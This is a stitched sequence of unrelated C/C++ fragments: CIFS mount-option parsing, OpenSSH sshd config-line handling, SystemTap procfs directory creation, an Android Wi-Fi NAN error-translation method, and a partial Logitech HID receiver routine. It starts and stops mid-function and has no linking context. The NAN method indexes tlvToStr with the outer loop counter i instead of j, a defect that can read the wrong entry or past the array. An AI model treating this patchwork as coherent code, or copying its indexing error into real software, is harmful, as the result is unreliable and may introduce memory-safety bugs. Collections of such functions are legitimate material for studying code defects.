if (strncmp(value, "//", 2) == 0) {
if(got_unc)
printf("unc name specified twice, ignoring second\n");
else
got_unc = 1;
} else if (strncmp(value, "\\\\", 2) != 0) {
printf("UNC Path does not begin with // or \\\\ \n");
return 1;
} else {
if(got_unc)
printf("unc name specified twice, ignoring second\n");
else
got_unc = 1;
}
} else {
printf("CIFS: UNC name too long\n");
return 1;
}
} else if ((strncmp(data, "domain", 3) == 0)
|| (strncmp(data, "workgroup", 5) == 0)) {
if (!value || !*value) {
printf("CIFS: invalid domain name\n");
return 1; /* needs_arg; */
}
if (strnlen(value, 65) < 65) {
got_domain = 1;
} else {
printf("domain name too long\n");
return 1;
}
} else if (strncmp(data, "cred", 4) == 0) {
if (value && *value) {
rc = open_cred_file(value);
if(rc) {
printf("error %d opening credential file %s\n",rc, value);
return 1;
}
} else {
printf("invalid credential file name specified\n");
return 1;
}
} else if (strncmp(data, "uid", 3) == 0) {
if (value && *value) {
got_uid = 1;
if (!isdigit(*value)) {
struct passwd *pw;
if (!(pw = getpwnam(value))) {
printf("bad user name \"%s\"\n", value);
exit(1);
}
snprintf(user, sizeof(user), "%u", pw->pw_uid);
} else {
strlcpy(user,value,sizeof(user));
}
}
goto nocopy;
} else if (strncmp(data, "gid", 3) == 0) {
if (value && *value) {
got_gid = 1;
if (!isdigit(*value)) {
struct group *gr;
if (!(gr = getgrnam(value))) {
printf("bad group name \"%s\"\n", value);
exit(1);
}
snprintf(group, sizeof(group), "%u", gr->gr_gid);
} else {
strlcpy(group,value,sizeof(group));
}
}
goto nocopy;
/* fmask and dmask synonyms for people used to smbfs syntax */
} else if (strcmp(data, "file_mode") == 0 || strcmp(data, "fmask")==0) {
if (!value || !*value) {
printf ("Option '%s' requires a numerical argument\n", data);
return 1;
}
if (value[0] != '0') {
printf ("WARNING: '%s' not expressed in octal.\n", data);
}
if (strcmp (data, "fmask") == 0) {
printf ("WARNING: CIFS mount option 'fmask' is deprecated. Use 'file_mode' instead.\n");
data = "file_mode"; /* BB fix this */
}
} else if (strcmp(data, "dir_mode") == 0 || strcmp(data, "dmask")==0) {
if (!value || !*value) {
printf ("Option '%s' requires a numerical argument\n", data);
return 1;
}
if (value[0] != '0') {
printf ("WARNING: '%s' not expressed in octal.\n", data);
}
if (strcmp (data, "dmask") == 0) {
printf ("WARNING: CIFS mount option 'dmask' is deprecated. Use 'dir_mode' instead.\n");
data = "dir_mode";
}
/* the following eight mount options should be
stripped out from what is passed into the kernel
since these eight options are best passed as the
mount flags rather than redundantly to the kernel
and could generate spurious warnings depending on the
level of the corresponding cifs vfs kernel code */
} else if (strncmp(data, "nosuid", 6) == 0) {
*filesys_flags |= MS_NOSUID;
} else if (strncmp(data, "suid", 4) == 0) {
*filesys_flags &= ~MS_NOSUID;
} else if (strncmp(data, "nodev", 5) == 0) {
*filesys_flags |= MS_NODEV;
} else if ((strncmp(data, "nobrl", 5) == 0) ||
(strncmp(data, "nolock", 6) == 0)) {
*filesys_flags &= ~MS_MANDLOCK;
} else if (strncmp(data, "dev", 3) == 0) {
*filesys_flags &= ~MS_NODEV;
} else if (strncmp(data, "noexec", 6) == 0) {
*filesys_flags |= MS_NOEXEC;
} else if (strncmp(data, "exec", 4) == 0) {
*filesys_flags &= ~MS_NOEXEC;
} else if (strncmp(data, "guest", 5) == 0) {
got_password=1;
} else if (strncmp(data, "ro", 2) == 0) {
*filesys_flags |= MS_RDONLY;
} else if (strncmp(data, "rw", 2) == 0) {
*filesys_flags &= ~MS_RDONLY;
} else if (strncmp(data, "remount", 7) == 0) {
*filesys_flags |= MS_REMOUNT;
} /* else if (strnicmp(data, "port", 4) == 0) {
if (value && *value) {
vol->port =
simple_strtoul(value, &value, 0);
}
} else if (strnicmp(data, "rsize", 5) == 0) {
if (value && *value) {
vol->rsize =
simple_strtoul(value, &value, 0);
}
} else if (strnicmp(data, "wsize", 5) == 0) {
if (value && *value) {
vol->wsize =
simple_strtoul(value, &value, 0);
}
} else if (strnicmp(data, "version", 3) == 0) {
} else {
printf("CIFS: Unknown mount option %s\n",data);
} */ /* nothing to do on those four mount options above.
Just pass to kernel and ignore them here */
/* Copy (possibly modified) option to out */
word_len = strlen(data);
if (value)
word_len += 1 + strlen(value);
out = (char *)realloc(out, out_len + word_len + 2);
if (out == NULL) {
perror("malloc");
exit(1);
}
if (out_len) {
strlcat(out, ",", out_len + word_len + 2);
out_len++;
}
if (value)
snprintf(out + out_len, word_len + 1, "%s=%s", data, value);
else
snprintf(out + out_len, word_len + 1, "%s", data);
out_len = strlen(out);
nocopy:
data = next_keyword;
}
/* special-case the uid and gid */
if (got_uid) {
word_len = strlen(user);
out = (char *)realloc(out, out_len + word_len + 6);
if (out == NULL) {
perror("malloc");
exit(1);
}
if (out_len) {
strlcat(out, ",", out_len + word_len + 6);
out_len++;
}
snprintf(out + out_len, word_len + 5, "uid=%s", user);
out_len = strlen(out);
}
if (got_gid) {
word_len = strlen(group);
out = (char *)realloc(out, out_len + 1 + word_len + 6);
if (out == NULL) {
perror("malloc");
exit(1);
}
if (out_len) {
strlcat(out, ",", out_len + word_len + 6);
out_len++;
}
snprintf(out + out_len, word_len + 5, "gid=%s", group);
out_len = strlen(out);
}
free(*optionsp);
*optionsp = out;
return 0;
}
int
process_server_config_line(ServerOptions *options, char *line,
const char *filename, int linenum, int *activep, const char *user,
const char *host, const char *address)
{
char *cp, **charptr, *arg, *p;
int cmdline = 0, *intptr, value, n;
SyslogFacility *log_facility_ptr;
LogLevel *log_level_ptr;
ServerOpCodes opcode;
u_short port;
u_int i, flags = 0;
size_t len;
cp = line;
if ((arg = strdelim(&cp)) == NULL)
return 0;
/* Ignore leading whitespace */
if (*arg == '\0')
arg = strdelim(&cp);
if (!arg || !*arg || *arg == '#')
return 0;
intptr = NULL;
charptr = NULL;
opcode = parse_token(arg, filename, linenum, &flags);
if (activep == NULL) { /* We are processing a command line directive */
cmdline = 1;
activep = &cmdline;
}
if (*activep && opcode != sMatch)
debug3("%s:%d setting %s %s", filename, linenum, arg, cp);
if (*activep == 0 && !(flags & SSHCFG_MATCH)) {
if (user == NULL) {
fatal("%s line %d: Directive '%s' is not allowed "
"within a Match block", filename, linenum, arg);
} else { /* this is a directive we have already processed */
while (arg)
arg = strdelim(&cp);
return 0;
}
}
switch (opcode) {
/* Portable-specific options */
case sUsePAM:
intptr = &options->use_pam;
goto parse_flag;
/* Standard Options */
case sBadOption:
return -1;
case sPort:
/* ignore ports from configfile if cmdline specifies ports */
if (options->ports_from_cmdline)
return 0;
if (options->listen_addrs != NULL)
fatal("%s line %d: ports must be specified before "
"ListenAddress.", filename, linenum);
if (options->num_ports >= MAX_PORTS)
fatal("%s line %d: too many ports.",
filename, linenum);
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing port number.",
filename, linenum);
options->ports[options->num_ports++] = a2port(arg);
if (options->ports[options->num_ports-1] == 0)
fatal("%s line %d: Badly formatted port number.",
filename, linenum);
break;
case sServerKeyBits:
intptr = &options->server_key_bits;
parse_int:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing integer value.",
filename, linenum);
value = atoi(arg);
if (*activep && *intptr == -1)
*intptr = value;
break;
case sLoginGraceTime:
intptr = &options->login_grace_time;
parse_time:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing time value.",
filename, linenum);
if ((value = convtime(arg)) == -1)
fatal("%s line %d: invalid time value.",
filename, linenum);
if (*intptr == -1)
*intptr = value;
break;
case sKeyRegenerationTime:
intptr = &options->key_regeneration_time;
goto parse_time;
case sListenAddress:
arg = strdelim(&cp);
if (arg == NULL || *arg == '\0')
fatal("%s line %d: missing address",
filename, linenum);
/* check for bare IPv6 address: no "[]" and 2 or more ":" */
if (strchr(arg, '[') == NULL && (p = strchr(arg, ':')) != NULL
&& strchr(p+1, ':') != NULL) {
add_listen_addr(options, arg, 0);
break;
}
p = hpdelim(&arg);
if (p == NULL)
fatal("%s line %d: bad address:port usage",
filename, linenum);
p = cleanhostname(p);
if (arg == NULL)
port = 0;
else if ((port = a2port(arg)) == 0)
fatal("%s line %d: bad port number", filename, linenum);
add_listen_addr(options, p, port);
break;
case sAddressFamily:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing address family.",
filename, linenum);
intptr = &options->address_family;
if (options->listen_addrs != NULL)
fatal("%s line %d: address family must be specified before "
"ListenAddress.", filename, linenum);
if (strcasecmp(arg, "inet") == 0)
value = AF_INET;
else if (strcasecmp(arg, "inet6") == 0)
value = AF_INET6;
else if (strcasecmp(arg, "any") == 0)
value = AF_UNSPEC;
else
fatal("%s line %d: unsupported address family \"%s\".",
filename, linenum, arg);
if (*intptr == -1)
*intptr = value;
break;
case sHostKeyFile:
intptr = &options->num_host_key_files;
if (*intptr >= MAX_HOSTKEYS)
fatal("%s line %d: too many host keys specified (max %d).",
filename, linenum, MAX_HOSTKEYS);
charptr = &options->host_key_files[*intptr];
parse_filename:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing file name.",
filename, linenum);
if (*activep && *charptr == NULL) {
*charptr = tilde_expand_filename(arg, getuid());
/* increase optional counter */
if (intptr != NULL)
*intptr = *intptr + 1;
}
break;
case sPidFile:
charptr = &options->pid_file;
goto parse_filename;
case sPermitRootLogin:
intptr = &options->permit_root_login;
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing yes/"
"without-password/forced-commands-only/no "
"argument.", filename, linenum);
value = 0; /* silence compiler */
if (strcmp(arg, "without-password") == 0)
value = PERMIT_NO_PASSWD;
else if (strcmp(arg, "forced-commands-only") == 0)
value = PERMIT_FORCED_ONLY;
else if (strcmp(arg, "yes") == 0)
value = PERMIT_YES;
else if (strcmp(arg, "no") == 0)
value = PERMIT_NO;
else
fatal("%s line %d: Bad yes/"
"without-password/forced-commands-only/no "
"argument: %s", filename, linenum, arg);
if (*activep && *intptr == -1)
*intptr = value;
break;
case sIgnoreRhosts:
intptr = &options->ignore_rhosts;
parse_flag:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing yes/no argument.",
filename, linenum);
value = 0; /* silence compiler */
if (strcmp(arg, "yes") == 0)
value = 1;
else if (strcmp(arg, "no") == 0)
value = 0;
else
fatal("%s line %d: Bad yes/no argument: %s",
filename, linenum, arg);
if (*activep && *intptr == -1)
*intptr = value;
break;
case sIgnoreUserKnownHosts:
intptr = &options->ignore_user_known_hosts;
goto parse_flag;
case sRhostsRSAAuthentication:
intptr = &options->rhosts_rsa_authentication;
goto parse_flag;
case sHostbasedAuthentication:
intptr = &options->hostbased_authentication;
goto parse_flag;
case sHostbasedUsesNameFromPacketOnly:
intptr = &options->hostbased_uses_name_from_packet_only;
goto parse_flag;
case sRSAAuthentication:
intptr = &options->rsa_authentication;
goto parse_flag;
case sPubkeyAuthentication:
intptr = &options->pubkey_authentication;
goto parse_flag;
case sKerberosAuthentication:
intptr = &options->kerberos_authentication;
goto parse_flag;
case sKerberosOrLocalPasswd:
intptr = &options->kerberos_or_local_passwd;
goto parse_flag;
case sKerberosTicketCleanup:
intptr = &options->kerberos_ticket_cleanup;
goto parse_flag;
case sKerberosGetAFSToken:
intptr = &options->kerberos_get_afs_token;
goto parse_flag;
case sGssAuthentication:
intptr = &options->gss_authentication;
goto parse_flag;
case sGssCleanupCreds:
intptr = &options->gss_cleanup_creds;
goto parse_flag;
case sPasswordAuthentication:
intptr = &options->password_authentication;
goto parse_flag;
case sKbdInteractiveAuthentication:
intptr = &options->kbd_interactive_authentication;
goto parse_flag;
case sChallengeResponseAuthentication:
intptr = &options->challenge_response_authentication;
goto parse_flag;
case sPrintMotd:
intptr = &options->print_motd;
goto parse_flag;
case sPrintLastLog:
intptr = &options->print_lastlog;
goto parse_flag;
case sX11Forwarding:
intptr = &options->x11_forwarding;
goto parse_flag;
case sX11DisplayOffset:
intptr = &options->x11_display_offset;
goto parse_int;
case sX11UseLocalhost:
intptr = &options->x11_use_localhost;
goto parse_flag;
case sXAuthLocation:
charptr = &options->xauth_location;
goto parse_filename;
case sStrictModes:
intptr = &options->strict_modes;
goto parse_flag;
case sTCPKeepAlive:
intptr = &options->tcp_keep_alive;
goto parse_flag;
case sEmptyPasswd:
intptr = &options->permit_empty_passwd;
goto parse_flag;
case sPermitUserEnvironment:
intptr = &options->permit_user_env;
goto parse_flag;
case sUseLogin:
intptr = &options->use_login;
goto parse_flag;
case sCompression:
intptr = &options->compression;
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing yes/no/delayed "
"argument.", filename, linenum);
value = 0; /* silence compiler */
if (strcmp(arg, "delayed") == 0)
value = COMP_DELAYED;
else if (strcmp(arg, "yes") == 0)
value = COMP_ZLIB;
else if (strcmp(arg, "no") == 0)
value = COMP_NONE;
else
fatal("%s line %d: Bad yes/no/delayed "
"argument: %s", filename, linenum, arg);
if (*intptr == -1)
*intptr = value;
break;
case sGatewayPorts:
intptr = &options->gateway_ports;
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing yes/no/clientspecified "
"argument.", filename, linenum);
value = 0; /* silence compiler */
if (strcmp(arg, "clientspecified") == 0)
value = 2;
else if (strcmp(arg, "yes") == 0)
value = 1;
else if (strcmp(arg, "no") == 0)
value = 0;
else
fatal("%s line %d: Bad yes/no/clientspecified "
"argument: %s", filename, linenum, arg);
if (*activep && *intptr == -1)
*intptr = value;
break;
case sUseDNS:
intptr = &options->use_dns;
goto parse_flag;
case sLogFacility:
log_facility_ptr = &options->log_facility;
arg = strdelim(&cp);
value = log_facility_number(arg);
if (value == SYSLOG_FACILITY_NOT_SET)
fatal("%.200s line %d: unsupported log facility '%s'",
filename, linenum, arg ? arg : "<NONE>");
if (*log_facility_ptr == -1)
*log_facility_ptr = (SyslogFacility) value;
break;
case sLogLevel:
log_level_ptr = &options->log_level;
arg = strdelim(&cp);
value = log_level_number(arg);
if (value == SYSLOG_LEVEL_NOT_SET)
fatal("%.200s line %d: unsupported log level '%s'",
filename, linenum, arg ? arg : "<NONE>");
if (*log_level_ptr == -1)
*log_level_ptr = (LogLevel) value;
break;
case sAllowTcpForwarding:
intptr = &options->allow_tcp_forwarding;
goto parse_flag;
case sAllowAgentForwarding:
intptr = &options->allow_agent_forwarding;
goto parse_flag;
case sUsePrivilegeSeparation:
intptr = &use_privsep;
goto parse_flag;
case sAllowUsers:
while ((arg = strdelim(&cp)) && *arg != '\0') {
if (options->num_allow_users >= MAX_ALLOW_USERS)
fatal("%s line %d: too many allow users.",
filename, linenum);
options->allow_users[options->num_allow_users++] =
xstrdup(arg);
}
break;
case sDenyUsers:
while ((arg = strdelim(&cp)) && *arg != '\0') {
if (options->num_deny_users >= MAX_DENY_USERS)
fatal("%s line %d: too many deny users.",
filename, linenum);
options->deny_users[options->num_deny_users++] =
xstrdup(arg);
}
break;
case sAllowGroups:
while ((arg = strdelim(&cp)) && *arg != '\0') {
if (options->num_allow_groups >= MAX_ALLOW_GROUPS)
fatal("%s line %d: too many allow groups.",
filename, linenum);
options->allow_groups[options->num_allow_groups++] =
xstrdup(arg);
}
break;
case sDenyGroups:
while ((arg = strdelim(&cp)) && *arg != '\0') {
if (options->num_deny_groups >= MAX_DENY_GROUPS)
fatal("%s line %d: too many deny groups.",
filename, linenum);
options->deny_groups[options->num_deny_groups++] = xstrdup(arg);
}
break;
case sCiphers:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing argument.", filename, linenum);
if (!ciphers_valid(arg))
fatal("%s line %d: Bad SSH2 cipher spec '%s'.",
filename, linenum, arg ? arg : "<NONE>");
if (options->ciphers == NULL)
options->ciphers = xstrdup(arg);
break;
case sMacs:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing argument.", filename, linenum);
if (!mac_valid(arg))
fatal("%s line %d: Bad SSH2 mac spec '%s'.",
filename, linenum, arg ? arg : "<NONE>");
if (options->macs == NULL)
options->macs = xstrdup(arg);
break;
case sProtocol:
intptr = &options->protocol;
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing argument.", filename, linenum);
value = proto_spec(arg);
if (value == SSH_PROTO_UNKNOWN)
fatal("%s line %d: Bad protocol spec '%s'.",
filename, linenum, arg ? arg : "<NONE>");
if (*intptr == SSH_PROTO_UNKNOWN)
*intptr = value;
break;
case sSubsystem:
if (options->num_subsystems >= MAX_SUBSYSTEMS) {
fatal("%s line %d: too many subsystems defined.",
filename, linenum);
}
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing subsystem name.",
filename, linenum);
if (!*activep) {
arg = strdelim(&cp);
break;
}
for (i = 0; i < options->num_subsystems; i++)
if (strcmp(arg, options->subsystem_name[i]) == 0)
fatal("%s line %d: Subsystem '%s' already defined.",
filename, linenum, arg);
options->subsystem_name[options->num_subsystems] = xstrdup(arg);
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing subsystem command.",
filename, linenum);
options->subsystem_command[options->num_subsystems] = xstrdup(arg);
/* Collect arguments (separate to executable) */
p = xstrdup(arg);
len = strlen(p) + 1;
while ((arg = strdelim(&cp)) != NULL && *arg != '\0') {
len += 1 + strlen(arg);
p = xrealloc(p, 1, len);
strlcat(p, " ", len);
strlcat(p, arg, len);
}
options->subsystem_args[options->num_subsystems] = p;
options->num_subsystems++;
break;
case sMaxStartups:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing MaxStartups spec.",
filename, linenum);
if ((n = sscanf(arg, "%d:%d:%d",
&options->max_startups_begin,
&options->max_startups_rate,
&options->max_startups)) == 3) {
if (options->max_startups_begin >
options->max_startups ||
options->max_startups_rate > 100 ||
options->max_startups_rate < 1)
fatal("%s line %d: Illegal MaxStartups spec.",
filename, linenum);
} else if (n != 1)
fatal("%s line %d: Illegal MaxStartups spec.",
filename, linenum);
else
options->max_startups = options->max_startups_begin;
break;
case sMaxAuthTries:
intptr = &options->max_authtries;
goto parse_int;
case sMaxSessions:
intptr = &options->max_sessions;
goto parse_int;
case sBanner:
charptr = &options->banner;
goto parse_filename;
/*
* These options can contain %X options expanded at
* connect time, so that you can specify paths like:
*
* AuthorizedKeysFile /etc/ssh_keys/%u
*/
case sAuthorizedKeysFile:
case sAuthorizedKeysFile2:
charptr = (opcode == sAuthorizedKeysFile) ?
&options->authorized_keys_file :
&options->authorized_keys_file2;
goto parse_filename;
case sClientAliveInterval:
intptr = &options->client_alive_interval;
goto parse_time;
case sClientAliveCountMax:
intptr = &options->client_alive_count_max;
goto parse_int;
case sAcceptEnv:
while ((arg = strdelim(&cp)) && *arg != '\0') {
if (strchr(arg, '=') != NULL)
fatal("%s line %d: Invalid environment name.",
filename, linenum);
if (options->num_accept_env >= MAX_ACCEPT_ENV)
fatal("%s line %d: too many allow env.",
filename, linenum);
if (!*activep)
break;
options->accept_env[options->num_accept_env++] =
xstrdup(arg);
}
break;
case sPermitTunnel:
intptr = &options->permit_tun;
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: Missing yes/point-to-point/"
"ethernet/no argument.", filename, linenum);
value = -1;
for (i = 0; tunmode_desc[i].val != -1; i++)
if (strcmp(tunmode_desc[i].text, arg) == 0) {
value = tunmode_desc[i].val;
break;
}
if (value == -1)
fatal("%s line %d: Bad yes/point-to-point/ethernet/"
"no argument: %s", filename, linenum, arg);
if (*intptr == -1)
*intptr = value;
break;
case sMatch:
if (cmdline)
fatal("Match directive not supported as a command-line "
"option");
value = match_cfg_line(&cp, linenum, user, host, address);
if (value < 0)
fatal("%s line %d: Bad Match condition", filename,
linenum);
*activep = value;
break;
case sPermitOpen:
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing PermitOpen specification",
filename, linenum);
n = options->num_permitted_opens; /* modified later */
if (strcmp(arg, "any") == 0) {
if (*activep && n == -1) {
channel_clear_adm_permitted_opens();
options->num_permitted_opens = 0;
}
break;
}
if (*activep && n == -1)
channel_clear_adm_permitted_opens();
for (; arg != NULL && *arg != '\0'; arg = strdelim(&cp)) {
p = hpdelim(&arg);
if (p == NULL)
fatal("%s line %d: missing host in PermitOpen",
filename, linenum);
p = cleanhostname(p);
if (arg == NULL || (port = a2port(arg)) == 0)
fatal("%s line %d: bad port number in "
"PermitOpen", filename, linenum);
if (*activep && n == -1)
options->num_permitted_opens =
channel_add_adm_permitted_opens(p, port);
}
break;
case sForceCommand:
if (cp == NULL)
fatal("%.200s line %d: Missing argument.", filename,
linenum);
len = strspn(cp, WHITESPACE);
if (*activep && options->adm_forced_command == NULL)
options->adm_forced_command = xstrdup(cp + len);
return 0;
case sChrootDirectory:
charptr = &options->chroot_directory;
arg = strdelim(&cp);
if (!arg || *arg == '\0')
fatal("%s line %d: missing file name.",
filename, linenum);
if (*activep && *charptr == NULL)
*charptr = xstrdup(arg);
break;
case sDeprecated:
logit("%s line %d: Deprecated option %s",
filename, linenum, arg);
while (arg)
arg = strdelim(&cp);
break;
case sUnsupported:
logit("%s line %d: Unsupported option %s",
filename, linenum, arg);
while (arg)
arg = strdelim(&cp);
break;
default:
fatal("%s line %d: Missing handler for opcode %s (%d)",
filename, linenum, arg, opcode);
}
if ((arg = strdelim(&cp)) != NULL && *arg != '\0')
fatal("%s line %d: garbage at end of line; \"%.200s\".",
filename, linenum, arg);
return 0;
}
/*
* Safely creates '/proc/systemtap' (if necessary) and
* '/proc/systemtap/{module_name}'.
*
* NB: this function is suitable to call from early in the the
* module-init function, and doesn't rely on any other facilities
* in our runtime. PR19833. See also PR15408.
*/
static int _stp_mkdir_proc_module(void)
{
int found = 0;
static char proc_root_name[STP_MODULE_NAME_LEN + sizeof("systemtap/")];
#if defined(STAPCONF_PATH_LOOKUP) || defined(STAPCONF_KERN_PATH_PARENT)
struct nameidata nd;
#else /* STAPCONF_VFS_PATH_LOOKUP or STAPCONF_KERN_PATH */
struct path path;
#if defined(STAPCONF_VFS_PATH_LOOKUP)
struct vfsmount *mnt;
#endif
int rc;
#endif /* STAPCONF_VFS_PATH_LOOKUP or STAPCONF_KERN_PATH */
if (_stp_proc_root != NULL)
return 0;
#if defined(STAPCONF_PATH_LOOKUP) || defined(STAPCONF_KERN_PATH_PARENT)
/* Why "/proc/systemtap/foo"? kern_path_parent() is basically
* the same thing as calling the old path_lookup() with flags
* set to LOOKUP_PARENT, which means to look up the parent of
* the path, which in this case is "/proc/systemtap". */
if (! kern_path_parent("/proc/systemtap/foo", &nd)) {
found = 1;
#ifdef STAPCONF_NAMEIDATA_CLEANUP
path_put(&nd.path);
#else /* !STAPCONF_NAMEIDATA_CLEANUP */
path_release(&nd);
#endif /* !STAPCONF_NAMEIDATA_CLEANUP */
}
#elif defined(STAPCONF_KERN_PATH)
/* Prefer kern_path() over vfs_path_lookup(), since on some
* kernels the declaration for vfs_path_lookup() was moved to
* a private header. */
/* See if '/proc/systemtap' exists. */
rc = kern_path("/proc/systemtap", 0, &path);
if (rc == 0) {
found = 1;
path_put (&path);
}
#else /* STAPCONF_VFS_PATH_LOOKUP */
/* See if '/proc/systemtap' exists. */
if (! init_pid_ns.proc_mnt) {
errk("Unable to create '/proc/systemap':"
" '/proc' doesn't exist.\n");
goto done;
}
mnt = init_pid_ns.proc_mnt;
rc = vfs_path_lookup(mnt->mnt_root, mnt, "systemtap", 0, &path);
if (rc == 0) {
found = 1;
path_put (&path);
}
#endif /* STAPCONF_VFS_PATH_LOOKUP */
/* If we couldn't find "/proc/systemtap", create it. */
if (!found) {
struct proc_dir_entry *de;
de = proc_mkdir ("systemtap", NULL);
if (de == NULL) {
errk("Unable to create '/proc/systemap':"
" proc_mkdir failed.\n");
goto done;
}
}
/* Create the "systemtap/{module_name} directory in procfs. */
strlcpy(proc_root_name, "systemtap/", sizeof(proc_root_name));
strlcat(proc_root_name, THIS_MODULE->name, sizeof(proc_root_name));
_stp_proc_root = proc_mkdir(proc_root_name, NULL);
#ifdef STAPCONF_PROCFS_OWNER
if (_stp_proc_root != NULL)
_stp_proc_root->owner = THIS_MODULE;
#endif
if (_stp_proc_root == NULL)
errk("Unable to create '/proc/systemap/%s':"
" proc_mkdir failed.\n", THIS_MODULE->name);
done:
return (_stp_proc_root) ? 0 : -EINVAL;
}
void NanCommand::NanErrorTranslation(NanInternalStatusType firmwareErrorRecvd,
u32 valueRcvd,
void* pResponse,
bool is_ndp_rsp)
{
int i = 0, j = 0;
u16 msg_id; /* Based on the message_id in the header determine the Indication type */
NanResponseMsg *pRsp;
NanPublishTerminatedInd* pRspInd;
NanDisabledInd* pRspdInd;
char tlvInfo[NAN_ERROR_STR_LEN];
tlvInfo[0] = '\0';
if (isNanResponse() || (is_ndp_rsp == true)){
pRsp = (NanResponseMsg*)pResponse;
for (i = 0; i < (int)(sizeof(errorCodeTranslation)/ sizeof(errorCode)); i++) {
if (errorCodeTranslation[i].firmwareError == firmwareErrorRecvd) {
pRsp->status = errorCodeTranslation[i].frameworkError;
strlcpy(pRsp->nan_error, errorCodeTranslation[i].nan_error, NAN_ERROR_STR_LEN);
if (NAN_I_STATUS_INVALID_TLV_TYPE == firmwareErrorRecvd) {
for (j = 0; j < (int)(sizeof(tlvToStr)/sizeof(verboseTlv)); j++) {
if (tlvToStr[j].tlvType == valueRcvd) {
strlcpy(tlvInfo, tlvToStr[i].strTlv, NAN_ERROR_STR_LEN);
break;
}
}
}
strlcat(pRsp->nan_error, tlvInfo, sizeof(pRsp->nan_error));
break;
}
}
if (i == (int)(sizeof(errorCodeTranslation)/sizeof(errorCode))) {
pRsp->status = NAN_STATUS_INTERNAL_FAILURE;
strlcpy(pRsp->nan_error, "NAN Discovery engine failure", NAN_ERROR_STR_LEN);
}
ALOGD("%s: Status: %d Error Info[value %d]: %s", __FUNCTION__, pRsp->status, valueRcvd, pRsp->nan_error);
} else {
msg_id = getIndicationType();
switch(msg_id) {
case NAN_INDICATION_PUBLISH_TERMINATED:
case NAN_INDICATION_SUBSCRIBE_TERMINATED:
case NAN_INDICATION_SELF_TRANSMIT_FOLLOWUP:
pRspInd = (NanPublishTerminatedInd*)pResponse;
for (i = 0; i < (int)(sizeof(errorCodeTranslation)/ sizeof(errorCode)); i++) {
if (errorCodeTranslation[i].firmwareError == firmwareErrorRecvd) {
pRspInd->reason = errorCodeTranslation[i].frameworkError;
strlcpy(pRspInd->nan_reason, errorCodeTranslation[i].nan_error, NAN_ERROR_STR_LEN);
break;
}
}
if (i == (int)(sizeof(errorCodeTranslation)/sizeof(errorCode))) {
pRspInd->reason = NAN_STATUS_INTERNAL_FAILURE;
strlcpy(pRspInd->nan_reason, "NAN Discovery engine failure", NAN_ERROR_STR_LEN);
}
ALOGD("%s: Status: %d Error Info[value %d]: %s", __FUNCTION__, pRspInd->reason, valueRcvd, pRspInd->nan_reason);
break;
case NAN_INDICATION_DISABLED:
pRspdInd = (NanDisabledInd*)pResponse;
for (i = 0; i < (int)(sizeof(errorCodeTranslation)/ sizeof(errorCode)); i++) {
if (errorCodeTranslation[i].firmwareError == firmwareErrorRecvd) {
pRspdInd->reason = errorCodeTranslation[i].frameworkError;
strlcpy(pRspdInd->nan_reason, errorCodeTranslation[i].nan_error, NAN_ERROR_STR_LEN);
break;
}
}
if (i == (int)(sizeof(errorCodeTranslation)/sizeof(errorCode))) {
pRspdInd->reason = NAN_STATUS_INTERNAL_FAILURE;
strlcpy(pRspdInd->nan_reason, "NAN Discovery engine failure", NAN_ERROR_STR_LEN);
}
ALOGD("%s: Status: %d Error Info[value %d]: %s", __FUNCTION__, pRspdInd->reason, valueRcvd, pRspdInd->nan_reason);
break;
}
}
}
static void logi_dj_recv_add_djhid_device(struct dj_receiver_dev *djrcv_dev,
struct dj_report *dj_report)
{
/* Called in delayed work context */
struct hid_device *djrcv_hdev = djrcv_dev->hdev;
struct usb_interface *intf = to_usb_interface(djrcv_hdev->dev.parent);
struct usb_device *usbdev = interface_to_usbdev(intf);
struct hid_device *dj_hiddev;
struct dj_device *dj_dev;
/* Device index goes from 1 to 6, we need 3 bytes to store the
* semicolon, the index, and a null terminator
*/
unsigned char tmpstr[3];
if (dj_report->report_params[DEVICE_PAIRED_PARAM_SPFUNCTION] &
SPFUNCTION_DEVICE_LIST_EMPTY) {
dbg_hid("%s: device list is empty\n", __func__);
return;
}
if ((dj_report->device_index < DJ_DEVICE_INDEX_MIN) ||
(dj_report->device_index > DJ_DEVICE_INDEX_MAX)) {
dev_err(&djrcv_hdev->dev, "%s: invalid device index:%d\n",
__func__, dj_report->device_index);
return;
}
dj_hiddev = hid_allocate_device();
if (IS_ERR(dj_hiddev)) {
dev_err(&djrcv_hdev->dev, "%s: hid_allocate_device failed\n",
__func__);
return;
}
dj_hiddev->ll_driver = &logi_dj_ll_driver;
dj_hiddev->hid_output_raw_report = logi_dj_output_hidraw_report;
dj_hiddev->dev.parent = &djrcv_hdev->dev;
dj_hiddev->bus = BUS_USB;
dj_hiddev->vendor = le16_to_cpu(usbdev->descriptor.idVendor);
dj_hiddev->product = le16_to_cpu(usbdev->descriptor.idProduct);
snprintf(dj_hiddev->name, sizeof(dj_hiddev->name),
"Logitech Unifying Device. Wireless PID:%02x%02x",
dj_report->report_params[DEVICE_PAIRED_PARAM_EQUAD_ID_MSB],
dj_report->report_params[DEVICE_PAIRED_PARAM_EQUAD_ID_LSB]);
usb_make_path(usbdev, dj_hiddev->phys, sizeof(dj_hiddev->phys));
snprintf(tmpstr, sizeof(tmpstr), ":%d", dj_report->device_index);
strlcat(dj_hiddev->phys, tmpstr, sizeof(dj_hiddev->phys));
dj_dev = kzalloc(sizeof(struct dj_device), GFP_KERNEL);
